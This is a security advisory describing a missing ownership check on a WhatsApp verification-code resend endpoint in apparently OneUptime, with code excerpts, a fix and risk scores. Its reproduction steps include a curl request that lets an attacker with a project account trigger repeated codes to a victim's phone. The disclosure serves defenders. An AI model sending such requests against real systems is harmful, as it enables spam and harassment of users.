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GHSA-cw6x-mw64-q6pv

MediumCVSS 5.3 / 10
Published Mar 10, 2026·Last modified Mar 10, 2026
Affected Components(0)

No affected components available

Description

Description

The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint).

Affected Source

Full Code Lines (UserWhatsAppAPI.ts)

Resend path (authorization gap):

    this.router.post(
      `${new this.entityType()
        .getCrudApiPath()
        ?.toString()}/resend-verification-code`,
      UserMiddleware.getUserMiddleware,
      async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
        try {
          req = req as OneUptimeRequest;

          if (!req.body.itemId) {
            return Response.sendErrorResponse(
              req,
              res,
              new BadDataException("Invalid item ID"),
            );
          }

          await this.service.resendVerificationCode(req.body.itemId);

          return Response.sendEmptySuccessResponse(req, res);
        } catch (err) {
          return next(err);
        }
      },
    );

Verify path (ownership check present):

          if (
            item.userId?.toString() !==
            (req as OneUptimeRequest)?.userAuthorization?.userId?.toString()
          ) {
            return Response.sendErrorResponse(
              req,
              res,
              new BadDataException("Invalid user ID"),
            );
          }

Prerequisites

  • Valid attacker account with access to a project
  • Attacker access token
  • A victim’s UserWhatsApp itemId belonging to the same project

Steps to Reproduce

  1. Set your attacker token:

    export ATK="Bearer <attacker-access-token>"
    
  2. Trigger resend for the victim’s item:

    curl -s -X POST \
      -H "Content-Type: application/json" \
      -H "Authorization: $ATK" \
      -d '{"itemId":"<victim-userwhatsapp-id>"}' \
      http://<host>/api/user-whats-app/resend-verification-code
    

Expected/Observed Behavior

  • HTTP 200 with {} body and a new verification code sent to the victim’s phone
  • No checks confirm that item.userId equals the authenticated user’s ID for the resend path

Impact

  • Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends

Recommended Fix

  • Enforce ownership: item.userId must match the authenticated user
  • Add per-item and per-user rate limiting for resends
Risk Scores
Base Score
5.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
1.3

Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.

EPSS
0.37%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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